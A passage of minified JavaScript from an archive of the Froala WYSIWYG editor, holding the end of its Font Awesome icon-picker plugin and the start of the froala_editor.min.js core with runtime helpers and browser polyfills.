exclamation-triangle","fas external-link-alt","fas external-link-square-alt","eye","eye-slash","fas eye-dropper","fax","fas rss","female","fighter-jet","far file-archive","far file-audio","far file-code","far file-excel","far file-image","far file-video","far file-pdf","far file-powerpoint","far file-word","film","filter","fire","fire-extinguisher","flag","flag-checkered","far flag","fas bolt","flask","folder","far folder","folder-open","far folder-open","far frown","far futbol","gamepad","fas gavel","gift","fas glass-martini","globe","fas graduation-cap","fas users","far hand-rock","far hand-lizard","far hand-paper","far hand-peace","far hand-pointer","far hand-scissors","far hand-spock","far handshake","hashtag","far hdd","headphones","heart","far heart","heartbeat","history","home","fas bed","hourglass","fas hourglass-start","fas hourglass-half","fas hourglass-end","far hourglass","i-cursor","id-badge","image ","inbox","industry","info","info-circle","key","far keyboard","language","laptop","leaf","far lemon","fas level-down-alt","fas level-up-alt","far life-ring","far lightbulb","fas chart-line","location-arrow","lock","low-vision","magic","magnet","fas share","fas reply ","fas reply-all ","male","map","map-marker","far map","map-pin","map-signs","far meh","microchip","microphone","microphone-slash","minus","minus-circle","minus-square","far minus-square","mobile","far money-bill-alt","far moon","motorcycle","mouse-pointer","music","fas bars","far newspaper","object-group","object-ungroup","paint-brush","fas paper-plane","far paper-plane","paw","fas pencil-alt","fas pen-square","far edit","percent","phone","phone-square","far image","fas chart-pie","plane","plug","plus","plus-circle","plus-square","far plus-square","podcast","power-off","print","puzzle-piece","qrcode","question","question-circle","far question-circle","quote-left","quote-right","random","recycle","fas sync","registered","reply","reply-all","retweet","road","rocket","rss","rss-square","search","search-minus","search-plus","server","share-alt","share-alt-square","share-square","far share-square","fas shield-alt","ship","shopping-bag","shopping-basket","shopping-cart","shower","fas sign-in-alt","fas sign-language","fas sign-out-alt","signal","sitemap","fas sliders-h","far smile","far snowflake","sort","fas sort-alpha-down","fas sort-alpha-up","fas sort-amount-down","fas sort-amount-up","fas sort-up","fas sort-down","fas sort-numeric-down","fas sort-numeric-up","space-shuttle","spinner","fas utensil-spoon","square","far square","star","far star-half","far star","sticky-note","far sticky-note","street-view","suitcase","far sun","tablet","tag","tags","tasks","taxi","fas tv","terminal","fas thermometer-empty","fas thermometer-full","fas thermometer-half","fas thermometer-quarter","fas thermometer-three-quarters","fas thumbtack","thumbs-down","far thumbs-down","far thumbs-up","thumbs-up","fas ticket-alt","times","times-circle","far times-circle","fas window-close","far window-close ","tint","toggle-off","toggle-on","trademark","trash","far trash-alt","tree","trophy","truck","tty","tv ","umbrella","universal-access","university","unlock","unlock-alt","fas sort","upload","user","user-circle","far user-circle","far user","user-plus","user-secret","user-times","fas video","fas phone-volume","volume-down","volume-off","volume-up","wheelchair","fab accessible-icon","wifi","window-maximize","window-minimize","window-restore","wrench"]},{title:"Accessibility Icons",icon:"american-sign-language-interpreting",list:["fas american-sign-language-interpreting","assistive-listening-systems","audio-description","blind","braille","far closed-captioning","fas deaf","low-vision","far question-circle","fas sign-language","tty","universal-access","fas phone-volume","wheelchair","fab accessible-icon"]},{title:"Hand Icons",icon:"hand-grab-o",list:["far hand-rock","far hand-lizard","far hand-point-down","far hand-point-left","far hand-point-right","far hand-point-up","far hand-paper","far hand-peace","far hand-pointer","far hand-scissors","far hand-spock","thumbs-down","far thumbs-down","far thumbs-up","thumbs-up"]},{title:"Transportation Icons",icon:"ambulance",list:["ambulance","fas car","bicycle","bus","fas taxi","car","fighter-jet","motorcycle","plane","rocket","ship","space-shuttle","subway","taxi","train","truck","wheelchair","fab accessible-icon"]},{title:"Gender Icons",icon:"genderless",list:["genderless","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","mercury","neuter","fas transgender","transgender-alt","venus","venus-double","venus-mars"]},{title:"Form Control Icons",icon:"check-square",list:["check-square","far check-square","circle","far circle","far dot-circle","minus-square","far minus-square","plus-square","far plus-square","square","far square"]},{title:"Payment Icons",icon:"cc-amex",list:["fab cc-amex","fab cc-diners-club","fab cc-discover","fab cc-jcb","fab cc-mastercard","fab cc-paypal","fab cc-stripe","fab cc-visa","far credit-card","fas credit-card","fab google-wallet","fab paypal"]},{title:"Chart Icons",icon:"area-chart",list:["fas chart-area","far chart-bar","fas chart-line","fas chart-pie"]},{title:"Currency Icons",icon:"bitcoin",list:["fab btc","fas yen-sign","fas dollar-sign","fas euro-sign","fas pound-sign","fab gg","fab gg-circle","fas shekel-sign","fas rupee-sign","fas won-sign","far money-bill-alt","fas ruble-sign ","fas lira-sign","fab viacoin"]},{title:"Text Editor Icons",icon:"align-center",list:["align-center","align-justify","align-left","align-right","bold","fas link","fas unlink","clipboard","columns","copy ","cut ","fas outdent","eraser","file","far file","fas file-alt","far file-alt","far copy","far save","font","fas heading","indent","italic","list","list-alt","list-ol","list-ul","paperclip","paragraph","paste ","fas undo","fas redo ","save","strikethrough","subscript","superscript","table","text-height","text-width","th","th-large","th-list","underline"]},{title:"Brand Icons",icon:"500px",list:["fab 500px","fab adn","fab amazon","fab android","fab angellist","fab apple","fab bandcamp","fab behance","fab behance-square","fab bitbucket","fab btc","fab black-tie","fab bluetooth","fab bluetooth-b","fab buysellads","fab cc-amex","fab cc-diners-club","fab cc-discover","fab cc-jcb","fab cc-mastercard","fab cc-paypal","fab cc-stripe","fab cc-visa","fab chrome","fab codepen","fab codiepie","fab connectdevelop","fab contao","fab css3","fab dashcube","fab delicious","fab deviantart","fab digg","fab dribbble","fab dropbox","fab drupal","fab edge","fab sellcast","fab empire","fab envira","fab etsy","fab expeditedssl","fab font-awesome","fab facebook-f","fab facebook","fab facebook-square","fab firefox","fab first-order","fab flickr","fab fonticons","fab fort-awesome","fab forumbee","fab foursquare","fab free-code-camp","fab get-pocket","fab gg","fab gg-circle","fab git","fab git-square","fab github","fab github-alt","fab github-square","fab gitlab","fab gratipay","fab glide","fab glide-g","fab google","fab google-plus-g","fab google-plus","fab google-plus-square","fab google-wallet","fab grav","fab hacker-news","fab houzz","fab html5","fab imdb","fab instagram","fab internet-explorer","fab ioxhost","fab joomla","fab jsfiddle","fab lastfm","fab lastfm-square","fab leanpub","fab linkedin-in","fab linkedin","fab linode","fab linux","fab maxcdn","fab medium","fab meetup","fab mixcloud","fab modx","fab odnoklassniki","fab odnoklassniki-square","fab opencart","fab openid","fab opera","fab optin-monster","fab pagelines","fab paypal","fab pied-piper","fab pied-piper-alt","fab pied-piper-pp","fab pinterest","fab pinterest-p","fab pinterest-square","fab product-hunt","fab qq","fab quora","fab rebel","fab ravelry","fab reddit","fab reddit-alien","fab reddit-square","fab renren","fab safari","fab scribd","fab sellsy","share-alt","share-alt-square","fab shirtsinbulk","fab simplybuilt","fab skyatlas","fab skype","fab slack","fab slideshare","fab snapchat","fab snapchat-ghost","fab snapchat-square","fab soundcloud","fab spotify","fab stack-exchange","fab stack-overflow","fab steam","fab steam-square","fab stumbleupon","fab stumbleupon-circle","fab superpowers","fab telegram","fab tencent-weibo","fab themeisle","fab trello","fab tripadvisor","fab tumblr","fab tumblr-square","fab twitch","fab twitter","fab twitter-square","fab usb","fab viacoin","fab viadeo","fab viadeo-square","fab vimeo","fab vimeo-square","fab vine","fab vk","fab weixin","fab weibo","fab whatsapp","fab wikipedia-w","fab windows","fab wordpress","fab wpbeginner","fab wpexplorer","fab wpforms","fab xing","fab xing-square","fab y-combinator","fab yahoo","fab yelp","fab yoast","fab youtube","fab youtube-square"]}],faButtons:["fontAwesomeBack","|"]}),Object.assign(g.POPUP_TEMPLATES,{fontAwesome:"[_BUTTONS_][_CUSTOM_LAYER_]"}),g.PLUGINS.fontAwesome=function(h){var m=h.$;"font_awesome_5"===h.opts.iconsTemplate&&(h.opts.fontAwesomeSets=h.opts.fontAwesome5Sets,h.opts.fontAwesomeTemplate=h.opts.fontAwesomeTemplate5);var t=h.opts.fontAwesomeSets[0],o=h.opts.fontAwesomeSets,r="";function i(){h.opts.toolbarInline&&0<h.opts.faButtons.length&&(r='<div class="fr-buttons fr-tabs">'.concat(h.button.buildList(h.opts.faButtons),"</div>"));var e={buttons:r,custom_layer:s()},a=h.popups.create("fontAwesome",e);return function t(d){h.events.on("popup.tab",function(e){var a=m(e.currentTarget);if(!h.popups.isVisible("fontAwesome")||!a.is("span, a"))return!0;var t,r,s,o=e.which;if(g.KEYCODE.TAB==o){if(a.is("span.fr-icon")&&e.shiftKey||a.is("a")&&!e.shiftKey){var i=d.find(".fr-buttons");t=!h.accessibility.focusToolbar(i,!!e.shiftKey)}if(!1!==t){var n=d.find("span.fr-icon:focus").first().concat(d.findVisible(" span.fr-icon").first().concat(d.find("a")));a.is("span.fr-icon")&&(n=n.not("span.fr-icon:not(:focus)")),r=n.index(a),r=e.shiftKey?((r-1)%n.length+n.length)%n.length:(r+1)%n.length,s=n.get(r),h.events.disableBlur(),s.focus(),t=!1}}else if(g.KEYCODE.ARROW_UP==o||g.KEYCODE.ARROW_DOWN==o||g.KEYCODE.ARROW_LEFT==o||g.KEYCODE.ARROW_RIGHT==o){if(a.is("span.fr-icon")){var l=a.parent().find("span.fr-icon");r=l.index(a);var c=Math.floor(l.length/8),f=r%8,u=Math.floor(r/8),p=8*u+f,b=8*c;g.KEYCODE.ARROW_UP==o?p=((p-8)%b+b)%b:g.KEYCODE.ARROW_DOWN==o?p=(p+8)%b:g.KEYCODE.ARROW_LEFT==o?p=((p-1)%b+b)%b:g.KEYCODE.ARROW_RIGHT==o&&(p=(p+1)%b),s=m(l.get(p)),h.events.disableBlur(),s.focus(),t=!1}}else g.KEYCODE.ENTER==o&&(a.is("a")?a[0].click():h.button.exec(a),t=!1);return!1===t&&(e.preventDefault(),e.stopPropagation()),t},!0)}(a),a}function s(){return"".concat(function r(e,a,t){return'\n <div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function n(e,t,r){var s="";if("font_awesome_5"===h.opts.iconsTemplate){var o="",i=r;e.forEach(function(e){o="cc-amex"===e.icon||"bitcoin"==e.icon||"500px"==e.icon?i.replace("fa ","fab "):r;var a={elementClass:e.title===t.title?"fr-active fr-active-tab":"",title:e.title,dataCmd:"setIconCategory",dataParam1:e.title,iconValue:o.replace(/\[NAME\]/g,e.icon)};s+='<button class="fr-fa-icon-category fr-command fr-btn '.concat(a.elementClass,'" title="').concat(a.title,'" data-cmd="').concat(a.dataCmd,'" data-param1="').concat(a.dataParam1,'"</button><span>').concat(a.iconValue,"</span>")})}else e.forEach(function(e){var a={elementClass:e.title===t.title?"fr-active fr-active-tab":"",title:e.title,dataCmd:"setIconCategory",dataParam1:e.title,iconValue:r.replace(/\[NAME\]/g,e.icon)};s+='<button class="fr-fa-icon-category fr-command fr-btn '.concat(a.elementClass,'" title="').concat(a.title,'" data-cmd="').concat(a.dataCmd,'" data-param1="').concat(a.dataParam1,'"</button><span>').concat(a.iconValue,"</span>")});return s}(e,a,t),"\n </div>\n ")}(o,t,h.opts.fontAwesomeTemplate),"\n ").concat(function s(e,a){return'\n <div class="fr-icon-container fr-fa-container">\n '.concat(function t(e,n){var l="";return e.list.forEach(function(e){if("font_awesome_5"===h.opts.iconsTemplate){var a={name:e,fprefix:"fa"},t=e.trim().split(" ");1<t.length&&(a={name:t[1],fprefix:t[0]});var r=h.opts.fontAwesomeTemplate.replace(/\[NAME\]|\[FPREFIX\]/g,function(e){return a[e.substring(1,e.length-1).toLowerCase()]});0<r.search("fab")&&(r=r.replace("fa",""));var s=e,o=e;n.replace(/\[NAME\]/g,e),l+='<span class="fr-command fr-fa-icon fr-icon" data-cmd="insertIcon" data-param1="'+s+'" title="'+o+'" tabIndex="-1" role="button" value="'+a.name+'" data-fprefix="'+a.fprefix+'">'+r+'<span class="fr-sr-only">'+h.language.translate("Example of")+a.name+" </span></span>"}else{var i={dataParam1:e,title:e,iconValue:n.replace(/\[NAME\]/g,e)};l+='<span class="fr-command fr-fa-icon fr-icon" role="button" data-cmd="insertIcon" data-param1="'.concat(i.dataParam1,'" title="').concat(i.title,'">').concat(i.iconValue,"</span>")}}),l}(e,a),"\n </div>\n ")}(t,h.opts.fontAwesomeTemplate))}return{setIconCategory:function n(a){t=o.filter(function(e){return e.title===a})[0],function e(){h.popups.get("fontAwesome").html(r+s())}()},showFontAwesomePopup:function l(){var e=h.popups.get("fontAwesome");if(e||(e=i()),!e.hasClass("fr-active")){h.popups.refresh("fontAwesome"),h.popups.setContainer("fontAwesome",h.$tb);var a=h.$tb.find('.fr-command[data-cmd="fontAwesome"]'),t=h.button.getPosition(a),r=t.left,s=t.top;h.popups.show("fontAwesome",r,s,a.outerHeight())}},back:function e(){h.popups.hide("fontAwesome"),h.toolbar.showInline()}}},g.DefineIcon("fontAwesome",{NAME:"flag",SVG_KEY:"fontAwesome"}),g.RegisterCommand("fontAwesome",{title:"Font Awesome",icon:"fontAwesome",undo:!1,focus:!1,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("fontAwesome")?(this.$el.find(".fr-marker")&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("fontAwesome")):this.fontAwesome.showFontAwesomePopup()},plugin:"fontAwesome",showOnMobile:!0}),g.RegisterCommand("insertIcon",{callback:function(e,a){if(this.opts&&"font_awesome_5"===this.opts.iconsTemplate){var t={name:a,fprefix:"fa"},r=this.opts.fontAwesomeTemplate.replace(/\[NAME\]|\[FPREFIX\]/g,function(e){return t[e.substring(1,e.length-1).toLowerCase()]});this.undo.saveStep(),this.html.insert(r,!0),this.undo.saveStep()}else this.undo.saveStep(),this.html.insert("".concat(this.opts.fontAwesomeTemplate.replace(/\[NAME\]/g,a)," ")),this.undo.saveStep();this.popups.hide("fontAwesome")}}),g.RegisterCommand("setIconCategory",{undo:!1,focus:!1,callback:function(e,a){this.fontAwesome.setIconCategory(a)}}),g.DefineIcon("fontAwesomeBack",{NAME:"arrow-left",SVG_KEY:"back"}),g.RegisterCommand("fontAwesomeBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.fontAwesome.back()}})}); froala_editor.min.js 0000674 00001653522 00000000000 0010460 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.FroalaEditor=t()}(this,function(){"use strict";function o(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=Array(t);n<t;n++)r[n]=e[n];return r}function L(e,t,n,r,o,i,a){try{var s=e[i](a),l=s.value}catch(e){return void n(e)}s.done?t(l):Promise.resolve(l).then(r,o)}function E(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=l(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){s=!0,i=e},f:function(){try{a||null==n["return"]||n["return"]()}finally{if(s)throw i}}}}function D(){D=function(){return a};var d,a={},e=Object.prototype,f=e.hasOwnProperty,s=Object.defineProperty||function(e,t,n){e[t]=n.value},t="function"==typeof Symbol?Symbol:{},i=t.iterator||"@@iterator",n=t.asyncIterator||"@@asyncIterator",r=t.toStringTag||"@@toStringTag";function o(e,t,n){return Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{o({},"")}catch(d){o=function(e,t,n){return e[t]=n}}function l(e,t,n,r){var o=t&&t.prototype instanceof v?t:v,i=Object.create(o.prototype),a=new w(r||[]);return s(i,"_invoke",{value:function c(i,a,s){var l=u;return function(e,t){if(l===g)throw Error("Generator is already running");if(l===C){if("throw"===e)throw t;return{value:d,done:!0}}for(s.method=e,s.arg=t;;){var n=s.delegate;if(n){var r=M(n,s);if(r){if(r===m)continue;return r}}if("next"===s.method)s.sent=s._sent=s.arg;else if("throw"===s.method){if(l===u)throw l=C,s.arg;s.dispatchException(s.arg)}else"return"===s.method&&s.abrupt("return",s.arg);l=g;var o=p(i,a,s);if("normal"===o.type){if(l=s.done?C:h,o.arg===m)continue;return{value:o.arg,done:s.done}}"throw"===o.type&&(l=C,s.method="throw",s.arg=o.arg)}}}(e,n,a)}),i}function p(e,t,n){try{return{type:"normal",arg:e.call(t,n)}}catch(e){return{type:"throw",arg:e}}}a.wrap=l;var u="suspendedStart",h="suspendedYield",g="executing",C="completed",m={};function v(){}function c(){}function b(){}var L={};o(L,i,function(){return this});var E=Object.getPrototypeOf,y=E&&E(E(O([])));y&&y!==e&&f.call(y,i)&&(L=y);var S=b.prototype=v.prototype=Object.create(L);function N(e){["next","throw","return"].forEach(function(t){o(e,t,function(e){return this._invoke(t,e)})})}function T(l,c){var t;s(this,"_invoke",{value:function(n,r){function e(){return new c(function(e,t){!function s(e,t,n,r){var o=p(l[e],l,t);if("throw"!==o.type){var i=o.arg,a=i.value;return a&&"object"==typeof a&&f.call(a,"__await")?c.resolve(a.__await).then(function(e){s("next",e,n,r)},function(e){s("throw",e,n,r)}):c.resolve(a).then(function(e){i.value=e,n(i)},function(e){return s("throw",e,n,r)})}r(o.arg)}(n,r,e,t)})}return t=t?t.then(e,e):e()}})}function M(e,t){var n=t.method,r=e.iterator[n];if(r===d)return t.delegate=null,"throw"===n&&e.iterator["return"]&&(t.method="return",t.arg=d,M(e,t),"throw"===t.method)||"return"!==n&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+n+"' method")),m;var o=p(r,e.iterator,t.arg);if("throw"===o.type)return t.method="throw",t.arg=o.arg,t.delegate=null,m;var i=o.arg;return i?i.done?(t[e.resultName]=i.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=d),t.delegate=null,m):i:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,m)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function x(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function w(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(A,this),this.reset(!0)}function O(e){if(e||""===e){var t=e[i];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,r=function o(){for(;++n<e.length;)if(f.call(e,n))return o.value=e[n],o.done=!1,o;return o.value=d,o.done=!0,o};return r.next=r}}throw new TypeError(typeof e+" is not iterable")}return s(S,"constructor",{value:c.prototype=b,configurable:!0}),s(b,"constructor",{value:c,configurable:!0}),c.displayName=o(b,r,"GeneratorFunction"),a.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===c||"GeneratorFunction"===(t.displayName||t.name))},a.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,b):(e.__proto__=b,o(e,r,"GeneratorFunction")),e.prototype=Object.create(S),e},a.awrap=function(e){return{__await:e}},N(T.prototype),o(T.prototype,n,function(){return this}),a.AsyncIterator=T,a.async=function(e,t,n,r,o){void 0===o&&(o=Promise);var i=new T(l(e,t,n,r),o);return a.isGeneratorFunction(t)?i:i.next().then(function(e){return e.done?e.value:i.next()})},N(S),o(S,r,"Generator"),o(S,i,function(){return this}),o(S,"toString",function(){return"[object Generator]"}),a.keys=function(e){var t=Object(e),n=[];for(var r in t)n.push(r);return n.reverse(),function o(){for(;n.length;){var e=n.pop();if(e in t)return o.value=e,o.done=!1,o}return o.done=!0,o}},a.values=O,w.prototype={constructor:w,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=d,this.done=!1,this.delegate=null,this.method="next",this.arg=d,this.tryEntries.forEach(x),!e)for(var t in this)"t"===t.charAt(0)&&f.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=d)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(n){if(this.done)throw n;var r=this;function e(e,t){return i.type="throw",i.arg=n,r.next=e,t&&(r.method="next",r.arg=d),!!t}for(var t=this.tryEntries.length-1;0<=t;--t){var o=this.tryEntries[t],i=o.completion;if("root"===o.tryLoc)return e("end");if(o.tryLoc<=this.prev){var a=f.call(o,"catchLoc"),s=f.call(o,"finallyLoc");if(a&&s){if(this.prev<o.catchLoc)return e(o.catchLoc,!0);if(this.prev<o.finallyLoc)return e(o.finallyLoc)}else if(a){if(this.prev<o.catchLoc)return e(o.catchLoc,!0)}else{if(!s)throw Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return e(o.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;0<=n;--n){var r=this.tryEntries[n];if(r.tryLoc<=this.prev&&f.call(r,"finallyLoc")&&this.prev<r.finallyLoc){var o=r;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=e,i.arg=t,o?(this.method="next",this.next=o.finallyLoc,m):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),m},finish:function(e){for(var t=this.tryEntries.length-1;0<=t;--t){var n=this.tryEntries[t];if(n.finallyLoc===e)return this.complete(n.completion,n.afterLoc),x(n),m}},"catch":function(e){for(var t=this.tryEntries.length-1;0<=t;--t){var n=this.tryEntries[t];if(n.tryLoc===e){var r=n.completion;if("throw"===r.type){var o=r.arg;x(n)}return o}}throw Error("illegal catch attempt")},delegateYield:function(e,t,n){return this.delegate={iterator:O(e),resultName:t,nextLoc:n},"next"===this.method&&(this.arg=d),m}},a}function y(e,t){return function n(e){if(Array.isArray(e))return e}(e)||function d(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,o,i,a,s=[],l=!0,c=!1;try{if(i=(n=n.call(e)).next,0===t){if(Object(n)!==n)return;l=!1}else for(;!(l=(r=i.call(n)).done)&&(s.push(r.value),s.length!==t);l=!0);}catch(e){c=!0,o=e}finally{try{if(!l&&null!=n["return"]&&(a=n["return"](),Object(a)!==a))return}finally{if(c)throw o}}return s}}(e,t)||l(e,t)||function r(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function S(e){return function t(e){if(Array.isArray(e))return o(e)}(e)||function n(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||l(e)||function r(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function x(e){return(x="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function l(e,t){if(e){if("string"==typeof e)return o(e,t);var n={}.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?o(e,t):void 0}}Element.prototype.matches||(Element.prototype.matches=Element.prototype.msMatchesSelector||Element.prototype.webkitMatchesSelector),Element.prototype.closest||(Element.prototype.closest=function(e){var t=this;if(!document.documentElement.contains(t))return null;do{if(t.matches(e))return t;t=t.parentElement||t.parentNode}while(null!==t&&1===t.nodeType);return null}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length;0<=--n&&t.item(n)!==this;);return-1<n}),Array.isArray||(Array.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(e,t){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var n=Object(e),r=1;r<arguments.length;r++){var o=arguments[r];if(null!=o)for(var i in o)Object.prototype.hasOwnProperty.call(o,i)&&(n[i]=o[i])}return n},writable:!0,configurable:!0}),function(){var a=/^\s*:scope/gi,s=/,\s*:scope/gi,l=document.createElement("div");function e(e,t){var i=e[t];e[t]=function(e){var t,n=!1,r=!1;if(!e||Array.isArray(e)||!e.match(a)&&!e.match(s))return i.call(this,e);this.parentNode||(l.appendChild(this),r=!0);var o=this.parentNode;return this.id||(this.id="rootedQuerySelector_id_".concat((new Date).getTime()),n=!0),t=i.call(o,e.replace(a,"#".concat(this.id)).replace(s,",#".concat(this.id))),n&&(this.id=""),r&&l.removeChild(this),t}}try{var t=l.querySelectorAll(":scope *");if(!t||Array.isArray(t))throw"error"}catch(n){e(Element.prototype,"querySelector"),e(Element.prototype,"querySelectorAll"),e(HTMLElement.prototype,"querySelector"),e(HTMLElement.prototype,"querySelectorAll")}}(),"document"in self&&("classList"in document.createElement("_")&&(!document.createElementNS||"classList"in document.createElementNS("http://www.w3.org/2000/svg","g"))||function(e){if("Element"in e){var t="classList",n="prototype",r=e.Element[n],o=Object,i=String[n].trim||function(){return this.replace(/^\s+|\s+$/g,"")},a=Array[n].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1},s=function s(e,t){this.name=e,this.code=DOMException[e],this.message=t},l=function l(e,t){if(""===t)throw new s("SYNTAX_ERR","The token must not be empty.");if(/\s/.test(t))throw new s("INVALID_CHARACTER_ERR","The token must not contain space characters.");return a.call(e,t)},c=function c(e){for(var t=i.call(e.getAttribute("class")||""),n=t?t.split(/\s+/):[],r=0,o=n.length;r<o;r++)this.push(n[r]);this._updateClassName=function(){e.setAttribute("class",this.toString())}},d=c[n]=[],f=function f(){return new c(this)};if(s[n]=Error[n],d.item=function(e){return this[e]||null},d.contains=function(e){return~l(this,e+"")},d.add=function(){for(var e,t=arguments,n=0,r=t.length,o=!1;e=t[n]+"",~l(this,e)||(this.push(e),o=!0),++n<r;);o&&this._updateClassName()},d.remove=function(){var e,t,n=arguments,r=0,o=n.length,i=!1;do{for(e=n[r]+"",t=l(this,e);~t;)this.splice(t,1),i=!0,t=l(this,e)}while(++r<o);i&&this._updateClassName()},d.toggle=function(e,t){var n=this.contains(e),r=n?!0!==t&&"remove":!1!==t&&"add";return r&&this[r](e),!0===t||!1===t?t:!n},d.replace=function(e,t){var n=l(e+"");~n&&(this.splice(n,1,t),this._updateClassName())},d.toString=function(){return this.join(" ")},o.defineProperty){var p={get:f,enumerable:!0,configurable:!0};try{o.defineProperty(r,t,p)}catch(u){void 0!==u.number&&-2146823252!==u.number||(p.enumerable=!1,o.defineProperty(r,t,p))}}else o[n].__defineGetter__&&r.__defineGetter__(t,f)}}(self),function(){var e=document.createElement("_");if(e.classList.add("c1","c2"),!e.classList.contains("c2")){var t=function Dg(e){var Dg=DOMTokenList.prototype[e];DOMTokenList.prototype[e]=function(e){var t,n=arguments.length;for(t=0;t<n;t++)e=arguments[t],Dg.call(this,e)}};t("add"),t("remove")}if(e.classList.toggle("c3",!1),e.classList.contains("c3")){var n=DOMTokenList.prototype.toggle;DOMTokenList.prototype.toggle=function(e,t){return 1 in arguments&&!this.contains(e)==!t?t:n.call(this,e)}}"replace"in document.createElement("_").classList||(DOMTokenList.prototype.replace=function(e,t){var n=this.toString().split(" "),r=n.indexOf(e+"");~r&&(n=n.slice(r),this.remove.apply(this,n),this.add(t),this.add.apply(this,n.slice(1)))}),e=null}()),function(){var e,t=-1;if("Microsoft Internet Explorer"===navigator.appName?(e=navigator.userAgent,null!==new RegExp("MSIE ([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))):"Netscape"===navigator.appName&&(e=navigator.userAgent,null!==new RegExp("Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))),!("undefined"==typeof window||"undefined"==typeof document||"undefined"==typeof HTMLElement||t<0)){var n=!1;try{var r=document.createElement("div");r.addEventListener("focus",function(e){e.preventDefault(),e.stopPropagation()},!0),r.focus(Object.defineProperty({},"preventScroll",{get:function(){if(navigator&&"undefined"!=typeof navigator.userAgent&&navigator.userAgent&&navigator.userAgent.match(/Edge\/1[7-8]/))return n=!1;n=!0}}))}catch(s){}if(HTMLElement.prototype.nativeFocus===undefined&&!n){HTMLElement.prototype.nativeFocus=HTMLElement.prototype.focus;var o=function o(e){for(var t=e.parentNode,n=[],r=document.scrollingElement||document.documentElement;t&&t!==r;)(t.offsetHeight<t.scrollHeight||t.offsetWidth<t.scrollWidth)&&n.push([t,t.scrollTop,t.scrollLeft]),t=t.parentNode;return t=r,n.push([t,t.scrollTop,t.scrollLeft]),n},i=function i(e){for(var t=0;t<e.length;t++)e[t][0].scrollTop=e[t][1],e[t][0].scrollLeft=e[t][2];e=[]},a=function a(e){if(e&&e.preventScroll){var t=o(this);if("function"==typeof setTimeout){var n=this;setTimeout(function(){n.nativeFocus(),i(t)},0)}else this.nativeFocus(),i(t)}else this.nativeFocus()};HTMLElement.prototype.focus=a}}}();function Z(e,t,n){if("string"!=typeof e)return new Z.Bootstrap(e,t,n);var r=document.querySelectorAll(e);t&&t.iframe_document&&(r=t.iframe_document.querySelectorAll(e));for(var o=[],i=0;i<r.length;i++){var a=r[i]["data-froala.editor"];a?o.push(a):o.push(new Z.Bootstrap(r[i],t,n))}return 